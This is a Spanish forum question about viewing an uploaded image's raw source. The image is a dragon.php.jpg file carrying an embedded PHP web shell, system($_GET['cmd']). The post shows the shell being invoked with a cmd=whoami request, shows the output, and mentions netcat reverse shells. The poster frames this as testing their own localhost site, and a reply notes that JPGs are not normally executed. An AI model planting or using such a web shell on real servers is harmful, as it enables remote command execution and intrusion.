Principalmente me gustaría saber como poder ver el código fuente de una imagen en un navegador web.
Tengo una web donde pido al usuario que se suba una imagen para posteriormente mostrarla.
Como vemos en este caso tengo la carta llamada 324
. Lo que ahora quiero hacer sobre esta imagen es dirigirme a su ruta para visualizarla independientemente (lo cuál veo desde el código fuenta de la página)
Ruta independiente de la carta 324 : http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg
Ahora, una vez aquí me gustaría ver el código fuente / RAW de la imagen presionando Ctrl + U. El problema es que no se visualiza el código fuente y la opción Ctr + U esta bloqueada.
Output esperado si se pudiera presionar Ctrl + U o con otra forma :
Aquí tendría que visualizar el código fuente / RAW de la imagen
Ejemplo del código fuente de una imagen :
@�i�D�!H@�tc�$�l��WӺ���( ̱�䋤@ⷠ�@MQ�GX1�R��Ha+=^��#i��8.�KGh9}���▒���R▒�mJ>�y�Ĭ_���nRR��
L�~'P��cA���έ���⤀�:�� +�Ȁ�!�.�\Dy�w�
�2 +�u��@W�^C�]��
�
�b��d@W��x��"��X��p�:�� +�Ȁ�!�.�\D�/(�7�;[("t&��X��Փ�Ƽ=ų���P���_�(��b�
oF`:�JI��1G����2��emU���ϕu�%�@Z��ڜ�P8�7`�5�D9�D� &K* *K��z�Zn��:
M E&}+r�d�K��(
��A.���m�▒�� *�A���֯XL�tS,��p^�(�Q�$uz���9*
�*��l�Q�3M�Ōc25?;-��7FV�*һW�tr�Y/���gҲ���I�M#?Zn<v�&Qb:�dȁ�;�wӳ�,���'�M�cґI��O�Yb2�c� �2/,��3s��S?T�زVm�����jUJ4
m#]E�2�2�9�/l��Ѻ�=��̡�ݏ¥�[�-��$�bĩ��>J�v2�*NSu�bxG���M���)ϧ:���f������5f�����NIUj-&�i�HӲ�,�<��]l��i��k<����4���$Ҩ�4����/�Zj=:e=c�����g���w▒���Z����K�$�UU�sW]^٫6������ګe�Qf�:�N��lfi0p��2����'�V�K�82��K��%�y]F!�8æ�:�F��?E���\YRp�f���Į��>rv�(�Hhn�h�ѥ�ވwE��"�w��0a�D�ڣ麊�_�������%���7ki▒?AR�]4�e`�k+���r�f�X�En������H�헴UN��?�94�d��s.oƩ=)ʸ6�ZVcg��t$2����W��Fm�f���VwK"�"zN��i+>�#-OKâ
Me vendría muy bien una respuesta a esto, es importante! Gracias!
Utilidad de visualizar código fuente
Como vemos anteriormente, la imagen a la que se quiere ver el código fuente dispone de una extensión .php.jpg
. Esto permite modificar el código fuente de la imagen (Carácteres en el bloque de código anterior) permitiendo inyectar código malicioso php.
En este caso, la imagen presentada anteriormente a ver el código fuente ha sido alterada en código fuente inyectando el siguiente código php :
<?php system($_GET['cmd']);?>
@�i�D�!H@�tc�$�l��WӺ���( ̱�䋤@ⷠ�@MQ�GX1�R��Ha+=^��#i��8.�KGh9}���▒���R▒�mJ>�y�Ĭ_���nRR��
<?php system($_GET['cmd']);?> L�~'P��cA���έ���⤀�:�� +�Ȁ�!�.�\Dy�w�
�2 +�u��@W�^C�]��
�
�b��d@W��x��"��X��p�:�� +�Ȁ�!�.�\D�/(�7�;[("t&��X��Փ�Ƽ=ų���P���_�(��b�
oF`:�JI��1G����2��emU���ϕu�%�@Z��ڜ�P8�7`�5�D9�D� &K* *K��z�Zn��:
M E&}+r�d�K��(
��A.���m�▒�� *�A���֯XL�tS,��p^�(�Q�$uz���9*
j-&�i�HӲ�,�<��]l��i��k<����4���$Ҩ�4����/
Este código implementado en el código de la imagen permite que al acceder a su ruta independiente mencionada anteriormente :
http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg
Se pueda aplicar una ejecucción remota de comandos a la parte del servidor que gestiona la web. Esta ejecucción remota de comandos se llama indicando un valor al $_GET['cmd'] anterior de la siguiente forma :
http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg?cmd=COMANDO
Ahora bien, la finalidad de visualizar el código fuente una vez ejecutado la inyección del comando utilizando [PATH][IMG]?cmd=COMANDO
es que el resultado del comando inyectado se visualiza de nuevo en el código fuente de la imagen.
Ejemplo
http://localhost/M9%20-%20Cartas%20Rol/uploadedImages/dragon.php.jpg?cmd=whoami
Visualizamos el código fuente con el resultado :
@�i�D�!H@�tc�$�l��WӺ���( ̱�䋤@ⷠ�@MQ�GX1�R��Ha+=^��#i��8.�KGh9}���▒���R▒�mJ>�y�Ĭ_���nRR��
www-data L�~'P��cA���έ���⤀�:�� +�Ȁ�!�.�\Dy�w�
�2 +�u��@W�^C�]��
�
�b��d@W��x��"��X��p�:�� +�Ȁ�!�.�\D�/(�7�;[("t&��X��Փ�Ƽ=ų���P���_�(��b�
oF`:�JI��1G����2��emU���ϕu�%�@Z��ڜ�P8�7`�5�D9�D� &K* *K��z�Zn��:
M E&}+r�d�K��(
��A.���m�▒�� *�A���֯XL�tS,��p^�(�Q�$uz���9*
j-&�i�HӲ�,�<��]l��i��k<����4���$Ҩ�4����/
NOTA : Estoy completamente seguro de que el código fuente se puede visualizar. El fin de esta pregunta es prevenir comandos remotos y posibles shells inversas utilizando netcat. Gracias !
.php.jpg
. La utilidad que tiene para mi ver el codigo fuente de la imagen es comprobar que existe una vulnerabilidad de comandos remotos mediante inyección php en la imagen. Ahora actualizo la pregunta para que quede claro y no se haga un comentario demasiado largo.jpg
no puede ser ejecutado por PHP (ni otro lenguaje), a menos que tengas una configuración específica en el servidor o que tu proyecto sea el causante de esa vulnerabilidad.